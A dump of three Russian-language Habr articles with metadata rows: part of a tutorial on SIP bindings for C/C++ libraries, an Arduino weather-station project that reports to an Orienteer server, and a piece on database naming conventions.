>>> Foo.get_int_val.__doc__
'get_int_val(self) -> int\nReturn integer value'
>>> Foo.set_int_val.__doc__
'set_int_val(self, int)\nSet integer value'
>>> Foo.get_string_val.__doc__
'Return string value\nget_string_val(self) -> str'
>>> Foo.set_string_val.__doc__
'Set string value\nset_string_val(self, str)'
```
Как видим, с помощью параметра *signature* директивы *%Docstring* можно менять положение описания сигнатуры функции в строке документации.
Теперь рассмотрим добавление строки документации в свойства. Обратите внимание, что в этом случае директивы *%Docstring*...*%End* заключены в фигурные скобки после директивы %Property. Такой формат записи описан в документации к директиве [%Property](https://www.riverbankcomputing.com/static/Docs/sip/directives.html#property).
Также обратите внимание, как мы указываем параметр директивы *%Docstring*. Такой формат записи директив возможен, если мы устанавливаем только первый параметр директивы (в данном случае параметр *format*). Таким образом, в этом примере используются сразу три способа использования директив.
Убедимся, что строка документации для свойств установлена:
```
>>> Foo.int_val.__doc__
'The property for integer value'
>>> Foo.string_val.__doc__
'The property for string value'
>>> help(Foo)
Help on class Foo in module foocpp:
class Foo(sip.wrapper)
| Class example from C++ library
|
| Method resolution order:
| Foo
| sip.wrapper
| sip.simplewrapper
| builtins.object
|
| Methods defined here:
|
| get_int_val(...)
| get_int_val(self) -> int
| Return integer value
|
| get_string_val(...)
| Return string value
| get_string_val(self) -> str
|
| set_int_val(...)
| set_int_val(self, int)
| Set integer value
|
| set_string_val(...)
| Set string value
| set_string_val(self, str)
...
```
Давайте упростим этот пример, установив значения по умолчанию для параметров *format* и *signature* с помощью директив [%DefaultDocstringFormat](https://www.riverbankcomputing.com/static/Docs/sip/directives.html#defaultdocstringformat) и [%DefaultDocstringSignature](https://www.riverbankcomputing.com/static/Docs/sip/directives.html#defaultdocstringsignature). Использование этих директив показано в примере из папки *pyfoo\_cpp\_04*. Файл *pyfoocpp.sip* в этом примере содержит следующий код:
```
%Module(name=foocpp, language="C++")
%DefaultEncoding "UTF-8"
%DefaultDocstringFormat "deindented"
%DefaultDocstringSignature "prepended"
class Foo {
%Docstring
Class example from C++ library
%End
%TypeHeaderCode
#include
%End
public:
Foo(int, const char\*);
void set\_int\_val(int);
%Docstring
Set integer value
%End
int get\_int\_val();
%Docstring
Return integer value
%End
%Property(name=int\_val, get=get\_int\_val, set=set\_int\_val)
{
%Docstring
The property for integer value
%End
};
void set\_string\_val(const char\*);
%Docstring
Set string value
%End
char\* get\_string\_val();
%Docstring
Return string value
%End
%Property(name=string\_val, get=get\_string\_val, set=set\_string\_val)
{
%Docstring
The property for string value
%End
};
};
```
В начале файла добавлены строки *%DefaultDocstringFormat «deindented»* и *%DefaultDocstringSignature «prepended»*, а далее все параметры из директивы *%Docstring* были убраны.
После сборки и установки этого примера можем посмотреть, как теперь выглядит описание класса *Foo*, которое выводит команда *help(Foo)*:
```
>>> from foocpp import Foo
>>> help(Foo)
class Foo(sip.wrapper)
| Class example from C++ library
|
| Method resolution order:
| Foo
| sip.wrapper
| sip.simplewrapper
| builtins.object
|
| Methods defined here:
|
| get_int_val(...)
| get_int_val(self) -> int
| Return integer value
|
| get_string_val(...)
| get_string_val(self) -> str
| Return string value
|
| set_int_val(...)
| set_int_val(self, int)
| Set integer value
|
| set_string_val(...)
| set_string_val(self, str)
| Set string value
...
```
Все выглядит достаточно аккуратно и однотипно.
Переименовываем классы и методы
-------------------------------
Как мы уже говорили, интерфейс, предоставляемый обвязкой на языке Python не обязательно должен совпадать с тем интерфейсом, который предоставляет библиотека на языке C/C++. Выше мы добавляли свойства в классы, а сейчас рассмотрим еще один прием, который может быть полезен, если возникают конфликты имен классов или функций, например, если имя функции совпадает с каким-нибудь ключевым словом языка Python. Для этого предусмотрена возможность переименования классов, функций, исключений и других сущностей.
Для переименования сущности используется аннотация *PyName*, значению которой нужно присвоить новое имя сущности. Работа с аннотацией *PyName* показана в примере из папки *pyfoo\_cpp\_05*. Этот пример создан на основе предыдущего примера *pyfoo\_cpp\_04* и отличается от него файлом *pyfoocpp.sip*, содержимое которого теперь выглядит следующим образом:
```
%Module(name=foocpp, language="C++")
%DefaultEncoding "UTF-8"
%DefaultDocstringFormat "deindented"
%DefaultDocstringSignature "prepended"
class Foo /PyName=Bar/ {
%Docstring
Class example from C++ library
%End
%TypeHeaderCode
#include
%End
public:
Foo(int, const char\*);
void set\_int\_val(int) /PyName=set\_integer\_value/;
%Docstring
Set integer value
%End
int get\_int\_val() /PyName=get\_integer\_value/;
%Docstring
Return integer value
%End
%Property(name=int\_val, get=get\_integer\_value, set=set\_integer\_value)
{
%Docstring
The property for integer value
%End
};
void set\_string\_val(const char\*) /PyName=set\_string\_value/;
%Docstring
Set string value
%End
char\* get\_string\_val() /PyName=get\_string\_value/;
%Docstring
Return string value
%End
%Property(name=string\_val, get=get\_string\_value, set=set\_string\_value)
{
%Docstring
The property for string value
%End
};
};
```
В этом примере мы переименовали класс *Foo* в класс *Bar*, а также присвоили другие имена всем методам с помощью аннотации *PyName*. Думаю, что все здесь достаточно просто и понятно, единственное, на что стоит обратить внимание — это создание свойств. В директиве *%Property* в качестве параметров *get* и *set* нужно указывать имена методов, как они будут называться в Python-классе, а не те имена, как они назывались изначально к коде на C++.
Скомпилируем пример, установим его и посмотрим, как этот класс будет выглядеть в языке Python:
```
>>> from foocpp import Bar
>>> help(Bar)
Help on class Bar in module foocpp:
class Bar(sip.wrapper)
| Class example from C++ library
|
| Method resolution order:
| Bar
| sip.wrapper
| sip.simplewrapper
| builtins.object
|
| Methods defined here:
|
| get_integer_value(...)
| get_integer_value(self) -> int
| Return integer value
|
| get_string_value(...)
| get_string_value(self) -> str
| Return string value
|
| set_integer_value(...)
| set_integer_value(self, int)
| Set integer value
|
| set_string_value(...)
| set_string_value(self, str)
| Set string value
|
| ----------------------------------------------------------------------
| Data descriptors defined here:
|
| __weakref__
| list of weak references to the object (if defined)
|
| int_val
| The property for integer value
|
| string_val
| The property for string value
|
| ----------------------------------------------------------------------
...
```
Сработало! Нам удалось переименовать сам класс и его методы.
Иногда в библиотеках используется договоренность, что имена всех классов начинаются с какого-либо префикса, например, с буквы «Q» в Qt или «wx» в wxWidgets. Если в своей Python-обвязке вы хотите переименовать все классы, избавившись от таких префиксов, то для того, чтобы не задавать аннотацию *PyName* для каждого класса, можно воспользоваться директивой [%AutoPyName](https://www.riverbankcomputing.com/static/Docs/sip/directives.html#autopyname). Мы не будем рассматривать эту директиву в данной статье, скажем только, что директива *%AutoPyName* должна располагаться внутри директивы [%Module](https://www.riverbankcomputing.com/static/Docs/sip/directives.html#module) и ограничимся примером из документации:
```
%Module PyQt5.QtCore
{
%AutoPyName(remove_leading="Q")
}
```
Добавляем преобразование типов
------------------------------
### Пример с использованием класса std::wstring
До сих пор мы рассматривали функции и классы, которые работали с простейшими типами вроде *int* и *char\**. Для таких типов SIP автоматически создавал конвертер в классы Python и обратно. В следующем примере, который расположен в папке *pyfoo\_cpp\_06*, мы рассмотрим случай, когда методы класса принимают и возвращают более сложные объекты, например, строки из STL. Чтобы упростить пример и не усложнять преобразование байтов в Unicode и обратно, в этом примере будет использоваться класс строк *std::wstring*. Идея этого примера — показать, как можно вручную задавать правила преобразования классов C++ в классы Python и обратно.
Для этого примера мы изменим класс *Foo* из библиотеки *foo*. Теперь определение класса будет выглядеть следующим образом (файл *foo.h*):
```
#ifndef FOO_LIB
#define FOO_LIB
#include
using std::wstring;
class Foo {
private:
int \_int\_val;
wstring \_string\_val;
public:
Foo(int int\_val, wstring string\_val);
void set\_int\_val(int val);
int get\_int\_val();
void set\_string\_val(wstring val);
wstring get\_string\_val();
};
#endif
```
Реализация класса *Foo* в файле *foo.cpp*:
```
#include
#include "foo.h"
using std::wstring;
Foo::Foo(int int\_val, wstring string\_val):
\_int\_val(int\_val), \_string\_val(string\_val) {}
void Foo::set\_int\_val(int val) {
\_int\_val = val;
}
int Foo::get\_int\_val() {
return \_int\_val;
}
void Foo::set\_string\_val(wstring val) {
\_string\_val = val;
}
wstring Foo::get\_string\_val() {
return \_string\_val;
}
```
И файл *main.cpp* для проверки работоспособности библиотеки:
```
#include
#include "foo.h"
using std::cout;
using std::endl;
int main(int argc, char\* argv[]) {
auto foo = Foo(10, L"Hello");
cout << L"int\_val: " << foo.get\_int\_val() << endl;
cout << L"string\_val: " << foo.get\_string\_val().c\_str() << endl;
foo.set\_int\_val(0);
foo.set\_string\_val(L"Hello world!");
cout << L"int\_val: " << foo.get\_int\_val() << endl;
cout << L"string\_val: " << foo.get\_string\_val().c\_str() << endl;
}
```
Файлы *foo.h*, *foo.cpp* и *main.cpp*, как и раньше, располагаются в папке *foo*. *Makefile* и процесс сборки библиотеки не изменился. Также нет существенных изменений в файлах *pyproject.toml* и *project.py*.
А вот файл *pyfoocpp.sip* стал заметно сложнее:
```
%Module(name=foocpp, language="C++")
%DefaultEncoding "UTF-8"
class Foo {
%TypeHeaderCode
#include
%End
public:
Foo(int, std::wstring);
void set\_int\_val(int);
int get\_int\_val();
%Property(name=int\_val, get=get\_int\_val, set=set\_int\_val)
void set\_string\_val(std::wstring);
std::wstring get\_string\_val();
%Property(name=string\_val, get=get\_string\_val, set=set\_string\_val)
};
%MappedType std::wstring
{
%TypeHeaderCode
#include
%End
%ConvertFromTypeCode
// Convert an std::wstring to a Python (Unicode) string
PyObject\* newstring;
newstring = PyUnicode\_FromWideChar(sipCpp->data(), -1);
return newstring;
%End
%ConvertToTypeCode
// Convert a Python (Unicode) string to an std::wstring
if (sipIsErr == NULL) {
return PyUnicode\_Check(sipPy);
}
if (PyUnicode\_Check(sipPy)) {
\*sipCppPtr = new std::wstring(PyUnicode\_AS\_UNICODE(sipPy));
return 1;
}
return 0;
%End
};
```
Для наглядности файл *pyfoocpp.sip* не добавляет строки документации. Если бы мы в файле *pyfoocpp.sip* оставили только объявление класса *Foo* без последующей директивы *%MappedType*, то с процессе сборки получили бы следующую ошибку:
```
$ sip-wheel
These bindings will be built: pyfoocpp.
Generating the pyfoocpp bindings...
sip-wheel: std::wstring is undefined
```
Нам нужно явно описать, как объект типа *std::wstring* будет преобразовываться в какой-либо Python-объект, а также описать обратное преобразование. Для описания преобразования нам нужно будет работать на достаточно низком уровне на языке C и использовать [Python/C API](https://docs.python.org/3/c-api/index.html). Поскольку Python/C API — это большая тема, достойная даже не отдельной статьи, а книги, то в этом разделе мы рассмотрим только те функции, которые используются в примере, не особо углубляясь в подробности.
Для объявления преобразований из объектов C++ в Python и наоборот предназначена директива [%MappedType](https://www.riverbankcomputing.com/static/Docs/sip/directives.html#mappedtype), внутри которой могут находиться три другие директивы: [%TypeHeaderCode](https://www.riverbankcomputing.com/static/Docs/sip/directives.html#std:directive-%TypeHeaderCode), [%ConvertToTypeCode](https://www.riverbankcomputing.com/static/Docs/sip/directives.html#std:directive-%ConvertToTypeCode) и [%ConvertFromTypeCode](https://www.riverbankcomputing.com/static/Docs/sip/directives.html#std:directive-%ConvertFromTypeCode). После выражения *%MappedType* нужно указать тип, для которого будут создаваться конвертеры. В нашем случае директива начинается с выражения *%MappedType std::wstring*.
С директивой *%TypeHeaderCode* мы уже встречались в разделе [Делаем обвязку для библиотеки на языке C++](#cpp). Напомню, что эта директива предназначена для того, чтобы объявить используемые типы или подключить заголовочные файлы, в которых они объявлены. В данном примере внутри директивы *%TypeHeaderCode* подключается заголовочный файл *string*, где объявлен класс *std::string*.
Теперь нам нужно описать преобразования
### %ConvertFromTypeCode. Преобразование объектов C++ в Python
Начнем с преобразования объектов *std::wstring* в класс *str* языка Python. Данное преобразование в примере выглядит следующим образом:
```
%ConvertFromTypeCode
// Convert an std::wstring to a Python (Unicode) string
PyObject* newstring;
newstring = PyUnicode_FromWideChar(sipCpp->data(), -1);
return newstring;
%End
```
Внутри этой директивы у нас имеется переменная *sipCpp* — указатель на объект из кода на C++, по которому нужно создать Python-объект и вернуть созданный объект из директивы с помощью оператора *return*. В данном случае переменная *sipCpp* имеет тип *std::wstring\**. Чтобы создать класс *str*, используется функция [PyUnicode\_FromWideChar](https://docs.python.org/3/c-api/unicode.html#c.PyUnicode_FromWideChar) из Python/C API. Эта функция в качестве первого параметра принимает массив (указатель) типа *const wchar\_t \*w*, а в качестве второго параметра — размер этого массива. Если в качестве второго параметра передать значение -1, то функция *PyUnicode\_FromWideChar* сама рассчитает длину с помощью функции [wcslen](http://www.cplusplus.com/reference/cwchar/wcslen/).
Чтобы получить массив *wchar\_t\** используется метод [data](http://www.cplusplus.com/reference/string/basic_string/data/) из класса [std::wstring](http://www.cplusplus.com/reference/string/wstring/).
Функция *PyUnicode\_FromWideChar* возвращает указатель на [PyObject](https://docs.python.org/3/c-api/structures.html#c.PyObject) или *NULL* в случае ошибки. *PyObject* представляет собой любой Python-объект, в данном случае это будет класс *str*. В Python/C API работа с объектами происходит обычно через указатели *PyObject\**, поэтому и в данном случае из директивы *%ConvertFromTypeCode* мы возвращаем указатель *PyObject\**.
### %ConvertToTypeCode. Преобразование объектов Python в C++
Обратное преобразование из объекта Python (по сути из *PyObject\**) в класс *std::wstring* описывается в директиве *%ConvertToTypeCode*. В примере *pyfoo\_cpp\_06* преобразование выглядит следующим образом:
```
%ConvertToTypeCode
// Convert a Python (Unicode) string to an std::wstring
if (sipIsErr == NULL) {
return PyUnicode_Check(sipPy);
}
if (PyUnicode_Check(sipPy)) {
*sipCppPtr = new std::wstring(PyUnicode_AS_UNICODE(sipPy));
return 1;
}
return 0;
%End
```
Код директивы *%ConvertToTypeCode* выглядит более сложно, потому что в процессе преобразования он вызывается несколько раз с разными целями. Внутри директивы *%ConvertToTypeCode* SIP создает несколько переменных, которые мы можем (или должны) использовать.
Одна из таких переменных *PyObject \*sipPy* представляет собой Python-объект, по которому нужно создать в данном случае экземпляр класса *std::wstring*. Результат нужно будет записать в другую переменную — *sipCppPtr* — это двойной указатель на создаваемый объект, т.е. в нашем случае эта переменная будет иметь тип *std::wstring\*\**.
Еще одна создаваемая внутри директивы *%ConvertToTypeCode* переменная — *int \*sipIsErr*. Если значение этой переменной равно *NULL*, значит директива *%ConvertToTypeCode* вызывается только с целью проверки, возможно ли преобразование типа. В этом случае мы не обязаны выполнять преобразование, а должны только проверить, возможно ли оно в принципе. Если возможно, то из директивы должны вернуть не нулевое значение, в противном случае, если преобразование невозможно, должны вернуть 0. Если этот указатель не равен *NULL*, значит нужно выполнить преобразование, а в случае возникновения ошибки в процессе преобразования, целочисленный код ошибки можно сохранить в эту переменную (с учетом того, что эта переменная является указателем на *int\**).
В данном примере для проверки того, что *sipPy* представляет собой юникодную строку (класс *str*) используется макрос [PyUnicode\_Check](https://docs.python.org/3/c-api/unicode.html#c.PyUnicode_Check), который принимает в качестве параметра аргумент типа *PyObject\**, если переданный аргумент представляет собой юникодную строку или класс, производный от нее.
Преобразование в объект C++ осуществляется с помощью строки *\*sipCppPtr = new std::wstring(PyUnicode\_AS\_UNICODE(sipPy));*. Здесь вызывается макрос [PyUnicode\_AS\_UNICODE](https://docs.python.org/3/c-api/unicode.html#c.PyUnicode_AS_UNICODE) из Python/C API, который возвращает массив типа *Py\_UNICODE\**, что эквивалентно *wchar\_t\**. Этот массив передается в конструктор класса *std::wstring*. Как уже было сказано выше, результат сохраняется в переменной *sipCppPtr*.
В данный момент директива *PyUnicode\_AS\_UNICODE* объявлена устаревшей и рекомендуется использовать другие макросы, но для упрощения примера используется именно этот макрос.
Если преобразование прошло успешно, директива *%ConvertToTypeCode* должна вернуть не нулевое значение (в данном случае 1), а в случае ошибки должна вернуть 0.
### Проверка
Мы описали преобразование типа *std::wstring* в *str* и обратно, теперь можем убедиться, что пакет успешно собирается и обвязка работает, как надо. Для сборки вызываем *sip-wheel*, затем устанавливаем пакет с помощью pip и проверяем работоспособность в командном режиме Python:
```
>>> from foocpp import Foo
>>> x = Foo(10, 'Hello')
>>> x.string_val
'Hello'
>>> x.string_val = 'Привет'
>>> x.string_val
'Привет'
>>> x.get_string_val()
'Привет'
```
Как видим, все работает, с русским языком тоже проблем нет, т.е. преобразования юникодных строк выполнено корректно.
Заключение
----------
В этой статье мы рассмотрели основы использования SIP для создания Python-обвязок для библиотек, написанных на C и C++. Сначала (в [первой части](https://habr.com/ru/post/495480/)) мы создали простую библиотеку на языке C и разобрались с файлами, которые необходимо создать для работы с SIP. В файле *pyproject.toml* содержится информация о пакете (название, номер версии, лицензия и пути до заголовочных и объектных файлов). С помощью файла *project.py* можно влиять на процесс сборки пакета Python, например, запускать сборку C/C++-библиотеки или дать возможность пользователю указывать расположение заголовочных и объектных файлов библиотеки.
В файле *\*.sip* описывается интерфейс Python-модуля с перечислением функций и классов, которые будут содержаться в модуле. Для описания интерфейса в файле *\*.sip* используются директивы и аннотации. Интерфейс классов Python не обязательно должен совпадать с интерфейсом классов C++. Например, в классы можно добавлять свойства с помощью директивы *%Property*, переименовывать сущности с помощью аннотации */PyName/*, добавлять строки документации с помощью директивы *%Docstring*.
Элементарные типы вроде *int*, *char*, *char\** и т.п. SIP автоматически преобразует в аналогичные классы Python, но если нужно выполнять более сложное преобразование, то его нужно запрограммировать самостоятельно внутри директивы *%MappedType*, используя Python/C API. Преобразование из класса Python в C++ должно осуществляться во вложенной директиве *%ConvertToTypeCode*. Преобразование из типа C++ в класс Python должно осуществляться во вложенной директиве *%ConvertFromTypeCode*.
Некоторые директивы вроде *%DefaultEncoding*, *%DefaultDocstringFormat* и *%DefaultDocstringSignature* являются вспомогательными и позволяют устанавливать значения по умолчанию для случаев, когда какие-то параметры аннотаций не установлены явно.
В этой статье мы рассмотрели только лишь основные и самые простые директивы и аннотации, но многие из них обошли вниманием. Например, существуют директивы для управления GIL, для создания новых Python-исключений, для ручного управления памятью и сборщиком мусора, для подстройки классов под разные операционные системы и многие другие, которые могут быть полезны при создании обвязок сложных C/C++-библиотек. Также мы обошли вопрос сборки пакетов под разные операционные системы, ограничившись сборкой под Linux с помощью компиляторов gcc/g++.
Ссылки
------
* [Первая часть статьи](https://habr.com/ru/post/495480/)
* [Примеры для данной статьи](https://github.com/Jenyay/sip-examples)
* [Домашняя страница SIP](https://www.riverbankcomputing.com/software/sip/intro)
* [Документация для SIP](https://www.riverbankcomputing.com/static/Docs/sip/)
* [Документация для Python/C API](https://docs.python.org/3/c-api/index.html) | https://habr.com/ru/post/495636/ | null | ru | null |
# Погодная станция из Arduino и Orienteer
Под Новый Год ко мне приходит желание разработать что-нибудь нестандартное. В этот раз я решил начать собирать и обрабатывать погодные данные возле своего дома. И, конечно, выбрал Arduino в качестве железа, а вот в качестве хранилища и инструмента просмотра и анализа — упоминавшийся недавно на [Хабрахабре](https://habrahabr.ru/company/orienteer/blog/312844/) конструктор бизнес-приложений Orienteer. Тем что получилось, я поделюсь в этой заметке.
Почему именно эта связка, ведь можно сделать без Arduino на голом Atmel микроконтроллере и в качестве хранилища использовать связку PHP/MySQL? Всё просто: не хотелось возится с [ЛУТ](http://easyelectronics.ru/sozdanie-pechatnoj-platy-metodom-lazernogo-utyuga.html)ом, ибо лазерного принтера под рукой небыло, да и PHP порядком надоел. А самое главное — хотелось попробовать этот самый [Orienteer](http://orienteer.org/) в боевых условиях, а не тыкать кнопки в [демонстрационном приложении](http://demo.orienteer.org/).
Принцип работы прост: опрашиваем датчики, формируем и отправляем REST запрос в Orienteer.
В связи с небольшим количеством железа под Arduino в моем арсенале была выбрана следующая связка железа:
1. Arduino UNO R3 (точнее ее китайский клон с CH340)
2. Датчик температуры и влажности DHT22
3. Ethernet шилд
4. Соединительные провода
### Аппаратная часть
Как видно схема подключения очень проста, обвязки для датчика не требуется. Берем Arduino, подключаем Ethernet шилд, подключаем датчик. Я использовал датчик DHT22, он измеряет температуру и процент влажности, вы можете использовать любой, который есть у вас под рукой.
Перейдем к [коду скетча](https://github.com/ivanscm/orienteer-weather-arduino/blob/master/Orienteer-weather.ino) для Arduino. В самом начале все стандартно: подключаются необходимые библиотеки. В моем случае потребовались: [Adafruit Unified Sensor Driver](https://github.com/adafruit/Adafruit_Sensor) и [Adafruit DHT Humidity & Temperature Unified Sensor Library](https://github.com/adafruit/DHT-sensor-library), а также библиотеки для работы с Ethernet.
**Код с подключением необходимых библиотек**
```
#include
#include
#include
#include
#include
```
Далее объявляются константы для быстрого редактирования, названия сами говорят за себя, но для новичков в Arduino поясню:
* **DHTPIN** — разъем Arduino к которому подключен датчик
* **DHTTYPE** — тип датчика, используется библиотекой Adafruit
* **DELAY\_MILLIS** — интервал отправки данных, по умолчанию значение *30000UL*, что означает 30 секунд
* **REST** — часть URL адреса для REST протокола
* **SERVER\_NAME** — IP адрес или хост сервера, где запущен Orienteer
* **SERVER\_PORT** — порт сервера
* **AUTH\_BASE64** — закодированная в BASE64 кодировке строка *login:password* для [Basic HTTP](https://en.wikipedia.org/wiki/Basic_access_authentication) аутентификации (в нашем случае admin:admin)
* **DEVICE\_ID** — идентификатор устройства сбора данных, то есть нашей Arduino, предполагается сбор с нескольких точек (например: дом/улица)
Дальше также все стандартно — инициализация датчика, Ehternet шилда. Для отправки данных по REST в Orienteer нужно подготовить JSON с информацией — класс и данные. Код для отправки запроса я вынес в отдельную функцию. Стоит обратить внимание на отправку POST запроса и базовую авторизацию, если вы недавно изучаете Arduino.
**Отправка HTTP заголовков**
```
sprintf(outBuf,"POST %s HTTP/1.1",page);
client.println(outBuf);
sprintf(outBuf,"Authorization: Basic %s", AUTH_BASE64);
client.println(outBuf);
sprintf(outBuf,"Host: %s",domainBuffer);
client.println(outBuf);
client.println(F("Connection: close\r\nContent-Type: application/x-www-form-urlencoded"));
```
Генерация JSON для отправки данных формируется с помощью функции **sprintf()**:
```
sprintf(params,"{'@class':'Weather', 'temperature':%i, 'humidity':%i, 'device':'%s'}", temperature, humidity, DEVICE_ID);
```
Интервал для отправки реализован с помощью функции **millis()**. В случае ошибки ругаемся в последовательный интерфейс.
Orienteer и его настройка
-------------------------
Вот и подошли к серверной части. Запустим и настроим платформу Orienteer для получения данных и вывода графиков.
Запустить платформу можно из [исходников](https://github.com/OrienteerBAP/Orienteer), а можно и [Docker контейнер](https://hub.docker.com/r/orienteer/orienteer/) (подробнее в [официальной документации](https://orienteer.gitbooks.io/orienteer/content/installation.html)). Спасибо авторам что упаковали все это дело в контейнер, очень удобный способ доставки приложения. Для разворачивания предположим что [Docker](https://www.docker.com/) у вас установлен и есть минимальные навыки работы с ним, такие как запуск и остановка контейнера. Если это не так, то вам [сюда](https://docs.docker.com/engine/installation/) и [сюда](https://docs.docker.com/engine/getstarted/step_one).
Для начала скачаем свежий образ контейнера с приложением, я работал на ОС Ubuntu:
```
sudo docker pull orienteer/orienteer
```
Вы увидите следующее:
Немного подождав, образ скачается и его можно будет запустить:
```
sudo docker run -p 8080:8080 orienteer/orienteer
```
Заходим на адрес *localhost:8080* в браузере, входим с парой логин-пароль: *admin/admin*. Выберем в меню ***Schema → Classes → +Create*** для создания класса модели данных и укажем название класса — *Weather*. Не забудем сохранить новый класс:
Теперь создадим свойства класса. Нам нужно сохранять: температуру, процент влажности, имя устройства и время обращение устройства. На странице свойств класса (*localhost:8080/class/Weather*) добавим свойства:
У свойства dateTime в качестве значения по умолчанию укажем функцию **sysdate()** для получения текущего времени в момент прихода данных от устройства. Погрешность даже в несколько секунд не критична в нашем случае.
Готово, проверим — приходят наши данные? Все отлично, есть контакт!
Но, как мы видим — данные не в очень удобном виде нам подаются. Не беда, в Orienteer есть замечательные виджеты Pivot Table, HTML/JS и даже можно создать свою страницу для отображения, но остановимся на виджетах. Нам необходимо отображать последние пришедшие данные: температуру, процент влажности, время последнего обновления; средние показатели за дни.
Для добавления виджета перейдем ***Schema → Weather → Browse Class*** и нажмем на значок шестеренки в верхнем правом углу. Нажмем ***Add widget*** и добавим виджет ***Html Js Pane***. Сохраним состояние виджета нажатием ***Save***. Далее перейдем в настройки виджета по ***Actions → Settings***, нажмем кнопку ***Edit***.
Добавим ресурс для отображения — *Weather*(это значит, что данный виджет будет показываться только если мы находимся на странице просмотра объектов данного класса), укажем HTML и JS коды виджета.
**HTML**
```
Update...
=========
Update...
=========
```
**JavaScript**
```
function getWeather(){
var url = "/orientdb/query/db/sql/SELECT temperature, humidity, dateTime.format('dd.MM.yyyy HH:mm') AS dt FROM Weather ORDER BY dateTime.asLong() DESC LIMIT 1/1?rnd="+Math.random();
$.getJSON( url, {})
.done(function( data ) {
$('#last-temp').html(data.result[0].temperature + '°');
$('#last-hum').html(data.result[0].humidity+ '%');
$('#last-datetime').html(data.result[0].dt);
});
}
(function() {
getWeather();
})();
```
И сохраним — жмем ***Save***.
Аналогичными действиями добавляем виджеты Pivot Table для отображения графиков. В одном для отображения средней температуры за сутки в настройках укажем SQL запрос для средней температуры:
```
SELECT dateTime, AVG(temperature) AS temp FROM Weather LET $day = dateTime.format('yyyy-MM-dd') GROUP BY $day
```
В режиме редактирования виджетов зададим конфигурацию графику:
А во втором виджете для отображения среднего процента влажности за сутки следующий SQL:
```
SELECT dateTime, AVG(humidity) AS hum FROM Weather LET $day = dateTime.format('yyyy-MM-dd') GROUP BY $day
```
Но в конфигурации графика укажем значение *hum* с результата SQL запроса:
И в итоге у нас получилась отличная система для сбора и отображения погодных данных.
**Длинный скриншот**
В планах:
* Добавить дополнительные датчики: давления, [CO2](https://geektimes.ru/post/258874/), уровня освещенности
* Добавить часы реального времени(корректная реализация, когда у нас время считывания, а не время получения данных)
* Предварительное кеширование на SD карту памяти для выгрузки среза данных
* Вывод на дисплей погодных данных и сообщений об ошибках датчиков или проблем со связью
настройка виджета
Все обновления будут на [GitHub](https://github.com/ivanscm/orienteer-weather-arduino). А я тем временем полез на Aliexpress заказывать железо для совершенствования своей системы. Хочется еще попробовать Orienteer в качестве backend приложения для AngularJS или Android приложения, но это тема отдельной статьи. | https://habr.com/ru/post/319746/ | null | ru | null |
# Стандарты проектирования баз данных
Переходя от проекта к проекту, мы сталкиваемся, к сожалению, с отсутствием единообразных стандартов проектирования баз данных, несмотря на то, что SQL существует уже несколько десятилетий. Подозреваю, причина отчасти в том, что большинство разработчиков не понимают архитектуру БД. За годы моей работы по найму разработчиков, я лишь несколько раз встречал тех, кто мог корректно нормализовать базу данных. Честно говоря, это бывает сложной задачей, но многие разработчики, которых я собеседовал, даже прекрасно владеющие SQL, не имели навыков проектирования БД.
Эта статья не про нормализацию БД. Если хотите этому научиться, то [здесь](https://youtu.be/y1tcbhWLiUM) я вкратце рассказал основы.
Если у вас есть рабочая БД, то нужно ответить себе на вопрос: «какие стандарты можно применить для облегчения *использования* этой базы данных?». Если эти стандарты применялись широко, то вам будет легко пользоваться БД, потому что не придётся изучать и запоминать новые наборы стандартов каждый раз, начиная работу с новой БД.
CamelCase имён или с\_подчёркиванием?
=====================================
Я постоянно сталкиваюсь с базами, в которых таблицы именованы в стиле `CustomerOrders` или `customer_orders`. Какой лучше использовать? Возможно, вы хотите применять уже устоявшийся стандарт, но если вы создаёте новую базу, то для повышения доступности рекомендую использовать\_подчёркивания. Фраза «under value» имеет другое значение по сравнению с «undervalue», но с подчёркиванием первая будет всегда `under_value`, а вторая — `undervalue`. А при использовании CamelCase мы получим `Undervalue` и `UnderValue`, которые идентичны с точки зрения не чувствительного к регистру SQL. Более того, если у вас есть проблемы со зрением и вы постоянно экспериментируете с гарнитурами и кеглем, чтобы выделять слова, то подчёркивание читается *гораздо* легче.
Наконец, CamelCase труден в прочтении для тех, для кого английский не является родным.
Подводя итог, это не строгая рекомендация, а личное предпочтение.
Множественное или единственное число в именах таблиц?
=====================================================
Эксперты по теории баз данных давно спорят о том, должны ли таблицы быть в единственном числе (customer) или множественном (customers). Позвольте мне разрубить этот гордиев узел без углубления в теорию, просто с помощью прагматизма: имена таблиц во множественном числе с меньшей вероятностью конфликтуют с зарезервированными ключевыми словами.
У вас есть пользователи — `users`? В SQL есть ключевое слово `user`. Вам нужна таблица с ограничениями — `constraints`? `constraint` — это зарезервированное слово. Слово `audit`
зарезервировано, но вам нужна таблица `audit`? Просто используйте *множественную* форму существительных, и тогда большинство зарезервированных слов не доставят вам хлопот в SQL. Даже PostgreSQL, в котором есть прекрасный SQL-парсер, запнулся на таблице `user`.
Просто используйте множественное число, и вероятность конфликта будет гораздо ниже.
Не называйте колонку с ID как «id»
==================================
Я сам грешил этим годами. Однажды работал с клиентом в Париже, и администратор БД на меня пожаловался, когда я дал колонке с идентификаторами название `id`. Я думал, что он просто педант. Ведь, название колонки `customers.id` является однозначным, а `customers.customer_id` — это повтор информации.
А позднее мне пришлось отлаживать вот это:
```
SELECT thread.*
FROM email thread
JOIN email selected ON selected.id = thread.id
JOIN character recipient ON recipient.id = thread.recipient_id
JOIN station_area sa ON sa.id = recipient.id
JOIN station st ON st.id = sa.id
JOIN star origin ON origin.id = thread.id
JOIN star destination ON destination.id = st.id
LEFT JOIN route
ON ( route.from_id = origin.id
AND
route.to_id = destination.id )
WHERE selected.id = ?
AND ( thread.sender_id = ?
OR ( thread.recipient_id = ?
AND ( origin.id = destination.id
OR ( route.distance IS NOT NULL
AND
now() >= thread.datesent
+ ( route.distance * interval '30 seconds' )
))))
ORDER BY datesent ASC, thread.parent_id ASC
```
Замечаете проблему? Если бы SQL использовал полные имена id, вроде `email_id`, `star_id` или `station_id`, то баги сразу вылезали бы *по мере того, как я писал этот код*, а не позже, когда я пытался понять, что я сделал не так.
Сделайте себе одолжение и используйте для ID полные названия. Позднее скажете спасибо.
Названия колонок
================
Давайте колонкам как можно более описательные названия. Скажем, колонка `temperature` никак не связана с этим:
```
SELECT name, 'too cold'
FROM areas
WHERE temperature < 32;
```
Я живу во Франции, и для нас температура в 32 градуса будет «слишком холодно». Поэтому лучше назвать колонку `fahrenheit`.
```
SELECT name, 'too cold'
FROM areas
WHERE fahrenheit < 32;
```
Теперь всё совершенно ясно.
